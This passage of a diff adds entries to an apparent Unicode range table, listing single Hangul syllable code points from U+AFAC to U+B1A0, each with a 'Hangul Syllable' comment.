+ ["\uAFAC", "\uAFAC"], /* Hangul Syllable */
+ ["\uAFAD", "\uAFAD"], /* Hangul Syllable */
+ ["\uAFAE", "\uAFAE"], /* Hangul Syllable */
+ ["\uAFAF", "\uAFAF"], /* Hangul Syllable */
+ ["\uAFB0", "\uAFB0"], /* Hangul Syllable */
+ ["\uAFB1", "\uAFB1"], /* Hangul Syllable */
+ ["\uAFB2", "\uAFB2"], /* Hangul Syllable */
+ ["\uAFB3", "\uAFB3"], /* Hangul Syllable */
+ ["\uAFB4", "\uAFB4"], /* Hangul Syllable */
+ ["\uAFB5", "\uAFB5"], /* Hangul Syllable */
+ ["\uAFB6", "\uAFB6"], /* Hangul Syllable */
+ ["\uAFB7", "\uAFB7"], /* Hangul Syllable */
+ ["\uAFB8", "\uAFB8"], /* Hangul Syllable */
+ ["\uAFB9", "\uAFB9"], /* Hangul Syllable */
+ ["\uAFBA", "\uAFBA"], /* Hangul Syllable */
+ ["\uAFBB", "\uAFBB"], /* Hangul Syllable */
+ ["\uAFBC", "\uAFBC"], /* Hangul Syllable */
+ ["\uAFBD", "\uAFBD"], /* Hangul Syllable */
+ ["\uAFBE", "\uAFBE"], /* Hangul Syllable */
+ ["\uAFBF", "\uAFBF"], /* Hangul Syllable */
+ ["\uAFC0", "\uAFC0"], /* Hangul Syllable */
+ ["\uAFC1", "\uAFC1"], /* Hangul Syllable */
+ ["\uAFC2", "\uAFC2"], /* Hangul Syllable */
+ ["\uAFC3", "\uAFC3"], /* Hangul Syllable */
+ ["\uAFC4", "\uAFC4"], /* Hangul Syllable */
+ ["\uAFC5", "\uAFC5"], /* Hangul Syllable */
+ ["\uAFC6", "\uAFC6"], /* Hangul Syllable */
+ ["\uAFC7", "\uAFC7"], /* Hangul Syllable */
+ ["\uAFC8", "\uAFC8"], /* Hangul Syllable */
+ ["\uAFC9", "\uAFC9"], /* Hangul Syllable */
+ ["\uAFCA", "\uAFCA"], /* Hangul Syllable */
+ ["\uAFCB", "\uAFCB"], /* Hangul Syllable */
+ ["\uAFCC", "\uAFCC"], /* Hangul Syllable */
+ ["\uAFCD", "\uAFCD"], /* Hangul Syllable */
+ ["\uAFCE", "\uAFCE"], /* Hangul Syllable */
+ ["\uAFCF", "\uAFCF"], /* Hangul Syllable */
+ ["\uAFD0", "\uAFD0"], /* Hangul Syllable */
+ ["\uAFD1", "\uAFD1"], /* Hangul Syllable */
+ ["\uAFD2", "\uAFD2"], /* Hangul Syllable */
+ ["\uAFD3", "\uAFD3"], /* Hangul Syllable */
+ ["\uAFD4", "\uAFD4"], /* Hangul Syllable */
+ ["\uAFD5", "\uAFD5"], /* Hangul Syllable */
+ ["\uAFD6", "\uAFD6"], /* Hangul Syllable */
+ ["\uAFD7", "\uAFD7"], /* Hangul Syllable */
+ ["\uAFD8", "\uAFD8"], /* Hangul Syllable */
+ ["\uAFD9", "\uAFD9"], /* Hangul Syllable */
+ ["\uAFDA", "\uAFDA"], /* Hangul Syllable */
+ ["\uAFDB", "\uAFDB"], /* Hangul Syllable */
+ ["\uAFDC", "\uAFDC"], /* Hangul Syllable */
+ ["\uAFDD", "\uAFDD"], /* Hangul Syllable */
+ ["\uAFDE", "\uAFDE"], /* Hangul Syllable */
+ ["\uAFDF", "\uAFDF"], /* Hangul Syllable */
+ ["\uAFE0", "\uAFE0"], /* Hangul Syllable */
+ ["\uAFE1", "\uAFE1"], /* Hangul Syllable */
+ ["\uAFE2", "\uAFE2"], /* Hangul Syllable */
+ ["\uAFE3", "\uAFE3"], /* Hangul Syllable */
+ ["\uAFE4", "\uAFE4"], /* Hangul Syllable */
+ ["\uAFE5", "\uAFE5"], /* Hangul Syllable */
+ ["\uAFE6", "\uAFE6"], /* Hangul Syllable */
+ ["\uAFE7", "\uAFE7"], /* Hangul Syllable */
+ ["\uAFE8", "\uAFE8"], /* Hangul Syllable */
+ ["\uAFE9", "\uAFE9"], /* Hangul Syllable */
+ ["\uAFEA", "\uAFEA"], /* Hangul Syllable */
+ ["\uAFEB", "\uAFEB"], /* Hangul Syllable */
+ ["\uAFEC", "\uAFEC"], /* Hangul Syllable */
+ ["\uAFED", "\uAFED"], /* Hangul Syllable */
+ ["\uAFEE", "\uAFEE"], /* Hangul Syllable */
+ ["\uAFEF", "\uAFEF"], /* Hangul Syllable */
+ ["\uAFF0", "\uAFF0"], /* Hangul Syllable */
+ ["\uAFF1", "\uAFF1"], /* Hangul Syllable */
+ ["\uAFF2", "\uAFF2"], /* Hangul Syllable */
+ ["\uAFF3", "\uAFF3"], /* Hangul Syllable */
+ ["\uAFF4", "\uAFF4"], /* Hangul Syllable */
+ ["\uAFF5", "\uAFF5"], /* Hangul Syllable */
+ ["\uAFF6", "\uAFF6"], /* Hangul Syllable */
+ ["\uAFF7", "\uAFF7"], /* Hangul Syllable */
+ ["\uAFF8", "\uAFF8"], /* Hangul Syllable */
+ ["\uAFF9", "\uAFF9"], /* Hangul Syllable */
+ ["\uAFFA", "\uAFFA"], /* Hangul Syllable */
+ ["\uAFFB", "\uAFFB"], /* Hangul Syllable */
+ ["\uAFFC", "\uAFFC"], /* Hangul Syllable */
+ ["\uAFFD", "\uAFFD"], /* Hangul Syllable */
+ ["\uAFFE", "\uAFFE"], /* Hangul Syllable */
+ ["\uAFFF", "\uAFFF"], /* Hangul Syllable */
+ ["\uB000", "\uB000"], /* Hangul Syllable */
+ ["\uB001", "\uB001"], /* Hangul Syllable */
+ ["\uB002", "\uB002"], /* Hangul Syllable */
+ ["\uB003", "\uB003"], /* Hangul Syllable */
+ ["\uB004", "\uB004"], /* Hangul Syllable */
+ ["\uB005", "\uB005"], /* Hangul Syllable */
+ ["\uB006", "\uB006"], /* Hangul Syllable */
+ ["\uB007", "\uB007"], /* Hangul Syllable */
+ ["\uB008", "\uB008"], /* Hangul Syllable */
+ ["\uB009", "\uB009"], /* Hangul Syllable */
+ ["\uB00A", "\uB00A"], /* Hangul Syllable */
+ ["\uB00B", "\uB00B"], /* Hangul Syllable */
+ ["\uB00C", "\uB00C"], /* Hangul Syllable */
+ ["\uB00D", "\uB00D"], /* Hangul Syllable */
+ ["\uB00E", "\uB00E"], /* Hangul Syllable */
+ ["\uB00F", "\uB00F"], /* Hangul Syllable */
+ ["\uB010", "\uB010"], /* Hangul Syllable */
+ ["\uB011", "\uB011"], /* Hangul Syllable */
+ ["\uB012", "\uB012"], /* Hangul Syllable */
+ ["\uB013", "\uB013"], /* Hangul Syllable */
+ ["\uB014", "\uB014"], /* Hangul Syllable */
+ ["\uB015", "\uB015"], /* Hangul Syllable */
+ ["\uB016", "\uB016"], /* Hangul Syllable */
+ ["\uB017", "\uB017"], /* Hangul Syllable */
+ ["\uB018", "\uB018"], /* Hangul Syllable */
+ ["\uB019", "\uB019"], /* Hangul Syllable */
+ ["\uB01A", "\uB01A"], /* Hangul Syllable */
+ ["\uB01B", "\uB01B"], /* Hangul Syllable */
+ ["\uB01C", "\uB01C"], /* Hangul Syllable */
+ ["\uB01D", "\uB01D"], /* Hangul Syllable */
+ ["\uB01E", "\uB01E"], /* Hangul Syllable */
+ ["\uB01F", "\uB01F"], /* Hangul Syllable */
+ ["\uB020", "\uB020"], /* Hangul Syllable */
+ ["\uB021", "\uB021"], /* Hangul Syllable */
+ ["\uB022", "\uB022"], /* Hangul Syllable */
+ ["\uB023", "\uB023"], /* Hangul Syllable */
+ ["\uB024", "\uB024"], /* Hangul Syllable */
+ ["\uB025", "\uB025"], /* Hangul Syllable */
+ ["\uB026", "\uB026"], /* Hangul Syllable */
+ ["\uB027", "\uB027"], /* Hangul Syllable */
+ ["\uB028", "\uB028"], /* Hangul Syllable */
+ ["\uB029", "\uB029"], /* Hangul Syllable */
+ ["\uB02A", "\uB02A"], /* Hangul Syllable */
+ ["\uB02B", "\uB02B"], /* Hangul Syllable */
+ ["\uB02C", "\uB02C"], /* Hangul Syllable */
+ ["\uB02D", "\uB02D"], /* Hangul Syllable */
+ ["\uB02E", "\uB02E"], /* Hangul Syllable */
+ ["\uB02F", "\uB02F"], /* Hangul Syllable */
+ ["\uB030", "\uB030"], /* Hangul Syllable */
+ ["\uB031", "\uB031"], /* Hangul Syllable */
+ ["\uB032", "\uB032"], /* Hangul Syllable */
+ ["\uB033", "\uB033"], /* Hangul Syllable */
+ ["\uB034", "\uB034"], /* Hangul Syllable */
+ ["\uB035", "\uB035"], /* Hangul Syllable */
+ ["\uB036", "\uB036"], /* Hangul Syllable */
+ ["\uB037", "\uB037"], /* Hangul Syllable */
+ ["\uB038", "\uB038"], /* Hangul Syllable */
+ ["\uB039", "\uB039"], /* Hangul Syllable */
+ ["\uB03A", "\uB03A"], /* Hangul Syllable */
+ ["\uB03B", "\uB03B"], /* Hangul Syllable */
+ ["\uB03C", "\uB03C"], /* Hangul Syllable */
+ ["\uB03D", "\uB03D"], /* Hangul Syllable */
+ ["\uB03E", "\uB03E"], /* Hangul Syllable */
+ ["\uB03F", "\uB03F"], /* Hangul Syllable */
+ ["\uB040", "\uB040"], /* Hangul Syllable */
+ ["\uB041", "\uB041"], /* Hangul Syllable */
+ ["\uB042", "\uB042"], /* Hangul Syllable */
+ ["\uB043", "\uB043"], /* Hangul Syllable */
+ ["\uB044", "\uB044"], /* Hangul Syllable */
+ ["\uB045", "\uB045"], /* Hangul Syllable */
+ ["\uB046", "\uB046"], /* Hangul Syllable */
+ ["\uB047", "\uB047"], /* Hangul Syllable */
+ ["\uB048", "\uB048"], /* Hangul Syllable */
+ ["\uB049", "\uB049"], /* Hangul Syllable */
+ ["\uB04A", "\uB04A"], /* Hangul Syllable */
+ ["\uB04B", "\uB04B"], /* Hangul Syllable */
+ ["\uB04C", "\uB04C"], /* Hangul Syllable */
+ ["\uB04D", "\uB04D"], /* Hangul Syllable */
+ ["\uB04E", "\uB04E"], /* Hangul Syllable */
+ ["\uB04F", "\uB04F"], /* Hangul Syllable */
+ ["\uB050", "\uB050"], /* Hangul Syllable */
+ ["\uB051", "\uB051"], /* Hangul Syllable */
+ ["\uB052", "\uB052"], /* Hangul Syllable */
+ ["\uB053", "\uB053"], /* Hangul Syllable */
+ ["\uB054", "\uB054"], /* Hangul Syllable */
+ ["\uB055", "\uB055"], /* Hangul Syllable */
+ ["\uB056", "\uB056"], /* Hangul Syllable */
+ ["\uB057", "\uB057"], /* Hangul Syllable */
+ ["\uB058", "\uB058"], /* Hangul Syllable */
+ ["\uB059", "\uB059"], /* Hangul Syllable */
+ ["\uB05A", "\uB05A"], /* Hangul Syllable */
+ ["\uB05B", "\uB05B"], /* Hangul Syllable */
+ ["\uB05C", "\uB05C"], /* Hangul Syllable */
+ ["\uB05D", "\uB05D"], /* Hangul Syllable */
+ ["\uB05E", "\uB05E"], /* Hangul Syllable */
+ ["\uB05F", "\uB05F"], /* Hangul Syllable */
+ ["\uB060", "\uB060"], /* Hangul Syllable */
+ ["\uB061", "\uB061"], /* Hangul Syllable */
+ ["\uB062", "\uB062"], /* Hangul Syllable */
+ ["\uB063", "\uB063"], /* Hangul Syllable */
+ ["\uB064", "\uB064"], /* Hangul Syllable */
+ ["\uB065", "\uB065"], /* Hangul Syllable */
+ ["\uB066", "\uB066"], /* Hangul Syllable */
+ ["\uB067", "\uB067"], /* Hangul Syllable */
+ ["\uB068", "\uB068"], /* Hangul Syllable */
+ ["\uB069", "\uB069"], /* Hangul Syllable */
+ ["\uB06A", "\uB06A"], /* Hangul Syllable */
+ ["\uB06B", "\uB06B"], /* Hangul Syllable */
+ ["\uB06C", "\uB06C"], /* Hangul Syllable */
+ ["\uB06D", "\uB06D"], /* Hangul Syllable */
+ ["\uB06E", "\uB06E"], /* Hangul Syllable */
+ ["\uB06F", "\uB06F"], /* Hangul Syllable */
+ ["\uB070", "\uB070"], /* Hangul Syllable */
+ ["\uB071", "\uB071"], /* Hangul Syllable */
+ ["\uB072", "\uB072"], /* Hangul Syllable */
+ ["\uB073", "\uB073"], /* Hangul Syllable */
+ ["\uB074", "\uB074"], /* Hangul Syllable */
+ ["\uB075", "\uB075"], /* Hangul Syllable */
+ ["\uB076", "\uB076"], /* Hangul Syllable */
+ ["\uB077", "\uB077"], /* Hangul Syllable */
+ ["\uB078", "\uB078"], /* Hangul Syllable */
+ ["\uB079", "\uB079"], /* Hangul Syllable */
+ ["\uB07A", "\uB07A"], /* Hangul Syllable */
+ ["\uB07B", "\uB07B"], /* Hangul Syllable */
+ ["\uB07C", "\uB07C"], /* Hangul Syllable */
+ ["\uB07D", "\uB07D"], /* Hangul Syllable */
+ ["\uB07E", "\uB07E"], /* Hangul Syllable */
+ ["\uB07F", "\uB07F"], /* Hangul Syllable */
+ ["\uB080", "\uB080"], /* Hangul Syllable */
+ ["\uB081", "\uB081"], /* Hangul Syllable */
+ ["\uB082", "\uB082"], /* Hangul Syllable */
+ ["\uB083", "\uB083"], /* Hangul Syllable */
+ ["\uB084", "\uB084"], /* Hangul Syllable */
+ ["\uB085", "\uB085"], /* Hangul Syllable */
+ ["\uB086", "\uB086"], /* Hangul Syllable */
+ ["\uB087", "\uB087"], /* Hangul Syllable */
+ ["\uB088", "\uB088"], /* Hangul Syllable */
+ ["\uB089", "\uB089"], /* Hangul Syllable */
+ ["\uB08A", "\uB08A"], /* Hangul Syllable */
+ ["\uB08B", "\uB08B"], /* Hangul Syllable */
+ ["\uB08C", "\uB08C"], /* Hangul Syllable */
+ ["\uB08D", "\uB08D"], /* Hangul Syllable */
+ ["\uB08E", "\uB08E"], /* Hangul Syllable */
+ ["\uB08F", "\uB08F"], /* Hangul Syllable */
+ ["\uB090", "\uB090"], /* Hangul Syllable */
+ ["\uB091", "\uB091"], /* Hangul Syllable */
+ ["\uB092", "\uB092"], /* Hangul Syllable */
+ ["\uB093", "\uB093"], /* Hangul Syllable */
+ ["\uB094", "\uB094"], /* Hangul Syllable */
+ ["\uB095", "\uB095"], /* Hangul Syllable */
+ ["\uB096", "\uB096"], /* Hangul Syllable */
+ ["\uB097", "\uB097"], /* Hangul Syllable */
+ ["\uB098", "\uB098"], /* Hangul Syllable */
+ ["\uB099", "\uB099"], /* Hangul Syllable */
+ ["\uB09A", "\uB09A"], /* Hangul Syllable */
+ ["\uB09B", "\uB09B"], /* Hangul Syllable */
+ ["\uB09C", "\uB09C"], /* Hangul Syllable */
+ ["\uB09D", "\uB09D"], /* Hangul Syllable */
+ ["\uB09E", "\uB09E"], /* Hangul Syllable */
+ ["\uB09F", "\uB09F"], /* Hangul Syllable */
+ ["\uB0A0", "\uB0A0"], /* Hangul Syllable */
+ ["\uB0A1", "\uB0A1"], /* Hangul Syllable */
+ ["\uB0A2", "\uB0A2"], /* Hangul Syllable */
+ ["\uB0A3", "\uB0A3"], /* Hangul Syllable */
+ ["\uB0A4", "\uB0A4"], /* Hangul Syllable */
+ ["\uB0A5", "\uB0A5"], /* Hangul Syllable */
+ ["\uB0A6", "\uB0A6"], /* Hangul Syllable */
+ ["\uB0A7", "\uB0A7"], /* Hangul Syllable */
+ ["\uB0A8", "\uB0A8"], /* Hangul Syllable */
+ ["\uB0A9", "\uB0A9"], /* Hangul Syllable */
+ ["\uB0AA", "\uB0AA"], /* Hangul Syllable */
+ ["\uB0AB", "\uB0AB"], /* Hangul Syllable */
+ ["\uB0AC", "\uB0AC"], /* Hangul Syllable */
+ ["\uB0AD", "\uB0AD"], /* Hangul Syllable */
+ ["\uB0AE", "\uB0AE"], /* Hangul Syllable */
+ ["\uB0AF", "\uB0AF"], /* Hangul Syllable */
+ ["\uB0B0", "\uB0B0"], /* Hangul Syllable */
+ ["\uB0B1", "\uB0B1"], /* Hangul Syllable */
+ ["\uB0B2", "\uB0B2"], /* Hangul Syllable */
+ ["\uB0B3", "\uB0B3"], /* Hangul Syllable */
+ ["\uB0B4", "\uB0B4"], /* Hangul Syllable */
+ ["\uB0B5", "\uB0B5"], /* Hangul Syllable */
+ ["\uB0B6", "\uB0B6"], /* Hangul Syllable */
+ ["\uB0B7", "\uB0B7"], /* Hangul Syllable */
+ ["\uB0B8", "\uB0B8"], /* Hangul Syllable */
+ ["\uB0B9", "\uB0B9"], /* Hangul Syllable */
+ ["\uB0BA", "\uB0BA"], /* Hangul Syllable */
+ ["\uB0BB", "\uB0BB"], /* Hangul Syllable */
+ ["\uB0BC", "\uB0BC"], /* Hangul Syllable */
+ ["\uB0BD", "\uB0BD"], /* Hangul Syllable */
+ ["\uB0BE", "\uB0BE"], /* Hangul Syllable */
+ ["\uB0BF", "\uB0BF"], /* Hangul Syllable */
+ ["\uB0C0", "\uB0C0"], /* Hangul Syllable */
+ ["\uB0C1", "\uB0C1"], /* Hangul Syllable */
+ ["\uB0C2", "\uB0C2"], /* Hangul Syllable */
+ ["\uB0C3", "\uB0C3"], /* Hangul Syllable */
+ ["\uB0C4", "\uB0C4"], /* Hangul Syllable */
+ ["\uB0C5", "\uB0C5"], /* Hangul Syllable */
+ ["\uB0C6", "\uB0C6"], /* Hangul Syllable */
+ ["\uB0C7", "\uB0C7"], /* Hangul Syllable */
+ ["\uB0C8", "\uB0C8"], /* Hangul Syllable */
+ ["\uB0C9", "\uB0C9"], /* Hangul Syllable */
+ ["\uB0CA", "\uB0CA"], /* Hangul Syllable */
+ ["\uB0CB", "\uB0CB"], /* Hangul Syllable */
+ ["\uB0CC", "\uB0CC"], /* Hangul Syllable */
+ ["\uB0CD", "\uB0CD"], /* Hangul Syllable */
+ ["\uB0CE", "\uB0CE"], /* Hangul Syllable */
+ ["\uB0CF", "\uB0CF"], /* Hangul Syllable */
+ ["\uB0D0", "\uB0D0"], /* Hangul Syllable */
+ ["\uB0D1", "\uB0D1"], /* Hangul Syllable */
+ ["\uB0D2", "\uB0D2"], /* Hangul Syllable */
+ ["\uB0D3", "\uB0D3"], /* Hangul Syllable */
+ ["\uB0D4", "\uB0D4"], /* Hangul Syllable */
+ ["\uB0D5", "\uB0D5"], /* Hangul Syllable */
+ ["\uB0D6", "\uB0D6"], /* Hangul Syllable */
+ ["\uB0D7", "\uB0D7"], /* Hangul Syllable */
+ ["\uB0D8", "\uB0D8"], /* Hangul Syllable */
+ ["\uB0D9", "\uB0D9"], /* Hangul Syllable */
+ ["\uB0DA", "\uB0DA"], /* Hangul Syllable */
+ ["\uB0DB", "\uB0DB"], /* Hangul Syllable */
+ ["\uB0DC", "\uB0DC"], /* Hangul Syllable */
+ ["\uB0DD", "\uB0DD"], /* Hangul Syllable */
+ ["\uB0DE", "\uB0DE"], /* Hangul Syllable */
+ ["\uB0DF", "\uB0DF"], /* Hangul Syllable */
+ ["\uB0E0", "\uB0E0"], /* Hangul Syllable */
+ ["\uB0E1", "\uB0E1"], /* Hangul Syllable */
+ ["\uB0E2", "\uB0E2"], /* Hangul Syllable */
+ ["\uB0E3", "\uB0E3"], /* Hangul Syllable */
+ ["\uB0E4", "\uB0E4"], /* Hangul Syllable */
+ ["\uB0E5", "\uB0E5"], /* Hangul Syllable */
+ ["\uB0E6", "\uB0E6"], /* Hangul Syllable */
+ ["\uB0E7", "\uB0E7"], /* Hangul Syllable */
+ ["\uB0E8", "\uB0E8"], /* Hangul Syllable */
+ ["\uB0E9", "\uB0E9"], /* Hangul Syllable */
+ ["\uB0EA", "\uB0EA"], /* Hangul Syllable */
+ ["\uB0EB", "\uB0EB"], /* Hangul Syllable */
+ ["\uB0EC", "\uB0EC"], /* Hangul Syllable */
+ ["\uB0ED", "\uB0ED"], /* Hangul Syllable */
+ ["\uB0EE", "\uB0EE"], /* Hangul Syllable */
+ ["\uB0EF", "\uB0EF"], /* Hangul Syllable */
+ ["\uB0F0", "\uB0F0"], /* Hangul Syllable */
+ ["\uB0F1", "\uB0F1"], /* Hangul Syllable */
+ ["\uB0F2", "\uB0F2"], /* Hangul Syllable */
+ ["\uB0F3", "\uB0F3"], /* Hangul Syllable */
+ ["\uB0F4", "\uB0F4"], /* Hangul Syllable */
+ ["\uB0F5", "\uB0F5"], /* Hangul Syllable */
+ ["\uB0F6", "\uB0F6"], /* Hangul Syllable */
+ ["\uB0F7", "\uB0F7"], /* Hangul Syllable */
+ ["\uB0F8", "\uB0F8"], /* Hangul Syllable */
+ ["\uB0F9", "\uB0F9"], /* Hangul Syllable */
+ ["\uB0FA", "\uB0FA"], /* Hangul Syllable */
+ ["\uB0FB", "\uB0FB"], /* Hangul Syllable */
+ ["\uB0FC", "\uB0FC"], /* Hangul Syllable */
+ ["\uB0FD", "\uB0FD"], /* Hangul Syllable */
+ ["\uB0FE", "\uB0FE"], /* Hangul Syllable */
+ ["\uB0FF", "\uB0FF"], /* Hangul Syllable */
+ ["\uB100", "\uB100"], /* Hangul Syllable */
+ ["\uB101", "\uB101"], /* Hangul Syllable */
+ ["\uB102", "\uB102"], /* Hangul Syllable */
+ ["\uB103", "\uB103"], /* Hangul Syllable */
+ ["\uB104", "\uB104"], /* Hangul Syllable */
+ ["\uB105", "\uB105"], /* Hangul Syllable */
+ ["\uB106", "\uB106"], /* Hangul Syllable */
+ ["\uB107", "\uB107"], /* Hangul Syllable */
+ ["\uB108", "\uB108"], /* Hangul Syllable */
+ ["\uB109", "\uB109"], /* Hangul Syllable */
+ ["\uB10A", "\uB10A"], /* Hangul Syllable */
+ ["\uB10B", "\uB10B"], /* Hangul Syllable */
+ ["\uB10C", "\uB10C"], /* Hangul Syllable */
+ ["\uB10D", "\uB10D"], /* Hangul Syllable */
+ ["\uB10E", "\uB10E"], /* Hangul Syllable */
+ ["\uB10F", "\uB10F"], /* Hangul Syllable */
+ ["\uB110", "\uB110"], /* Hangul Syllable */
+ ["\uB111", "\uB111"], /* Hangul Syllable */
+ ["\uB112", "\uB112"], /* Hangul Syllable */
+ ["\uB113", "\uB113"], /* Hangul Syllable */
+ ["\uB114", "\uB114"], /* Hangul Syllable */
+ ["\uB115", "\uB115"], /* Hangul Syllable */
+ ["\uB116", "\uB116"], /* Hangul Syllable */
+ ["\uB117", "\uB117"], /* Hangul Syllable */
+ ["\uB118", "\uB118"], /* Hangul Syllable */
+ ["\uB119", "\uB119"], /* Hangul Syllable */
+ ["\uB11A", "\uB11A"], /* Hangul Syllable */
+ ["\uB11B", "\uB11B"], /* Hangul Syllable */
+ ["\uB11C", "\uB11C"], /* Hangul Syllable */
+ ["\uB11D", "\uB11D"], /* Hangul Syllable */
+ ["\uB11E", "\uB11E"], /* Hangul Syllable */
+ ["\uB11F", "\uB11F"], /* Hangul Syllable */
+ ["\uB120", "\uB120"], /* Hangul Syllable */
+ ["\uB121", "\uB121"], /* Hangul Syllable */
+ ["\uB122", "\uB122"], /* Hangul Syllable */
+ ["\uB123", "\uB123"], /* Hangul Syllable */
+ ["\uB124", "\uB124"], /* Hangul Syllable */
+ ["\uB125", "\uB125"], /* Hangul Syllable */
+ ["\uB126", "\uB126"], /* Hangul Syllable */
+ ["\uB127", "\uB127"], /* Hangul Syllable */
+ ["\uB128", "\uB128"], /* Hangul Syllable */
+ ["\uB129", "\uB129"], /* Hangul Syllable */
+ ["\uB12A", "\uB12A"], /* Hangul Syllable */
+ ["\uB12B", "\uB12B"], /* Hangul Syllable */
+ ["\uB12C", "\uB12C"], /* Hangul Syllable */
+ ["\uB12D", "\uB12D"], /* Hangul Syllable */
+ ["\uB12E", "\uB12E"], /* Hangul Syllable */
+ ["\uB12F", "\uB12F"], /* Hangul Syllable */
+ ["\uB130", "\uB130"], /* Hangul Syllable */
+ ["\uB131", "\uB131"], /* Hangul Syllable */
+ ["\uB132", "\uB132"], /* Hangul Syllable */
+ ["\uB133", "\uB133"], /* Hangul Syllable */
+ ["\uB134", "\uB134"], /* Hangul Syllable */
+ ["\uB135", "\uB135"], /* Hangul Syllable */
+ ["\uB136", "\uB136"], /* Hangul Syllable */
+ ["\uB137", "\uB137"], /* Hangul Syllable */
+ ["\uB138", "\uB138"], /* Hangul Syllable */
+ ["\uB139", "\uB139"], /* Hangul Syllable */
+ ["\uB13A", "\uB13A"], /* Hangul Syllable */
+ ["\uB13B", "\uB13B"], /* Hangul Syllable */
+ ["\uB13C", "\uB13C"], /* Hangul Syllable */
+ ["\uB13D", "\uB13D"], /* Hangul Syllable */
+ ["\uB13E", "\uB13E"], /* Hangul Syllable */
+ ["\uB13F", "\uB13F"], /* Hangul Syllable */
+ ["\uB140", "\uB140"], /* Hangul Syllable */
+ ["\uB141", "\uB141"], /* Hangul Syllable */
+ ["\uB142", "\uB142"], /* Hangul Syllable */
+ ["\uB143", "\uB143"], /* Hangul Syllable */
+ ["\uB144", "\uB144"], /* Hangul Syllable */
+ ["\uB145", "\uB145"], /* Hangul Syllable */
+ ["\uB146", "\uB146"], /* Hangul Syllable */
+ ["\uB147", "\uB147"], /* Hangul Syllable */
+ ["\uB148", "\uB148"], /* Hangul Syllable */
+ ["\uB149", "\uB149"], /* Hangul Syllable */
+ ["\uB14A", "\uB14A"], /* Hangul Syllable */
+ ["\uB14B", "\uB14B"], /* Hangul Syllable */
+ ["\uB14C", "\uB14C"], /* Hangul Syllable */
+ ["\uB14D", "\uB14D"], /* Hangul Syllable */
+ ["\uB14E", "\uB14E"], /* Hangul Syllable */
+ ["\uB14F", "\uB14F"], /* Hangul Syllable */
+ ["\uB150", "\uB150"], /* Hangul Syllable */
+ ["\uB151", "\uB151"], /* Hangul Syllable */
+ ["\uB152", "\uB152"], /* Hangul Syllable */
+ ["\uB153", "\uB153"], /* Hangul Syllable */
+ ["\uB154", "\uB154"], /* Hangul Syllable */
+ ["\uB155", "\uB155"], /* Hangul Syllable */
+ ["\uB156", "\uB156"], /* Hangul Syllable */
+ ["\uB157", "\uB157"], /* Hangul Syllable */
+ ["\uB158", "\uB158"], /* Hangul Syllable */
+ ["\uB159", "\uB159"], /* Hangul Syllable */
+ ["\uB15A", "\uB15A"], /* Hangul Syllable */
+ ["\uB15B", "\uB15B"], /* Hangul Syllable */
+ ["\uB15C", "\uB15C"], /* Hangul Syllable */
+ ["\uB15D", "\uB15D"], /* Hangul Syllable */
+ ["\uB15E", "\uB15E"], /* Hangul Syllable */
+ ["\uB15F", "\uB15F"], /* Hangul Syllable */
+ ["\uB160", "\uB160"], /* Hangul Syllable */
+ ["\uB161", "\uB161"], /* Hangul Syllable */
+ ["\uB162", "\uB162"], /* Hangul Syllable */
+ ["\uB163", "\uB163"], /* Hangul Syllable */
+ ["\uB164", "\uB164"], /* Hangul Syllable */
+ ["\uB165", "\uB165"], /* Hangul Syllable */
+ ["\uB166", "\uB166"], /* Hangul Syllable */
+ ["\uB167", "\uB167"], /* Hangul Syllable */
+ ["\uB168", "\uB168"], /* Hangul Syllable */
+ ["\uB169", "\uB169"], /* Hangul Syllable */
+ ["\uB16A", "\uB16A"], /* Hangul Syllable */
+ ["\uB16B", "\uB16B"], /* Hangul Syllable */
+ ["\uB16C", "\uB16C"], /* Hangul Syllable */
+ ["\uB16D", "\uB16D"], /* Hangul Syllable */
+ ["\uB16E", "\uB16E"], /* Hangul Syllable */
+ ["\uB16F", "\uB16F"], /* Hangul Syllable */
+ ["\uB170", "\uB170"], /* Hangul Syllable */
+ ["\uB171", "\uB171"], /* Hangul Syllable */
+ ["\uB172", "\uB172"], /* Hangul Syllable */
+ ["\uB173", "\uB173"], /* Hangul Syllable */
+ ["\uB174", "\uB174"], /* Hangul Syllable */
+ ["\uB175", "\uB175"], /* Hangul Syllable */
+ ["\uB176", "\uB176"], /* Hangul Syllable */
+ ["\uB177", "\uB177"], /* Hangul Syllable */
+ ["\uB178", "\uB178"], /* Hangul Syllable */
+ ["\uB179", "\uB179"], /* Hangul Syllable */
+ ["\uB17A", "\uB17A"], /* Hangul Syllable */
+ ["\uB17B", "\uB17B"], /* Hangul Syllable */
+ ["\uB17C", "\uB17C"], /* Hangul Syllable */
+ ["\uB17D", "\uB17D"], /* Hangul Syllable */
+ ["\uB17E", "\uB17E"], /* Hangul Syllable */
+ ["\uB17F", "\uB17F"], /* Hangul Syllable */
+ ["\uB180", "\uB180"], /* Hangul Syllable */
+ ["\uB181", "\uB181"], /* Hangul Syllable */
+ ["\uB182", "\uB182"], /* Hangul Syllable */
+ ["\uB183", "\uB183"], /* Hangul Syllable */
+ ["\uB184", "\uB184"], /* Hangul Syllable */
+ ["\uB185", "\uB185"], /* Hangul Syllable */
+ ["\uB186", "\uB186"], /* Hangul Syllable */
+ ["\uB187", "\uB187"], /* Hangul Syllable */
+ ["\uB188", "\uB188"], /* Hangul Syllable */
+ ["\uB189", "\uB189"], /* Hangul Syllable */
+ ["\uB18A", "\uB18A"], /* Hangul Syllable */
+ ["\uB18B", "\uB18B"], /* Hangul Syllable */
+ ["\uB18C", "\uB18C"], /* Hangul Syllable */
+ ["\uB18D", "\uB18D"], /* Hangul Syllable */
+ ["\uB18E", "\uB18E"], /* Hangul Syllable */
+ ["\uB18F", "\uB18F"], /* Hangul Syllable */
+ ["\uB190", "\uB190"], /* Hangul Syllable */
+ ["\uB191", "\uB191"], /* Hangul Syllable */
+ ["\uB192", "\uB192"], /* Hangul Syllable */
+ ["\uB193", "\uB193"], /* Hangul Syllable */
+ ["\uB194", "\uB194"], /* Hangul Syllable */
+ ["\uB195", "\uB195"], /* Hangul Syllable */
+ ["\uB196", "\uB196"], /* Hangul Syllable */
+ ["\uB197", "\uB197"], /* Hangul Syllable */
+ ["\uB198", "\uB198"], /* Hangul Syllable */
+ ["\uB199", "\uB199"], /* Hangul Syllable */
+ ["\uB19A", "\uB19A"], /* Hangul Syllable */
+ ["\uB19B", "\uB19B"], /* Hangul Syllable */
+ ["\uB19C", "\uB19C"], /* Hangul Syllable */
+ ["\uB19D", "\uB19D"], /* Hangul Syllable */
+ ["\uB19E", "\uB19E"], /* Hangul Syllable */
+ ["\uB19F", "\uB19F"], /* Hangul Syllable */
+ ["\uB1A0", "\uB1A0"], /* Hangul Syllable */
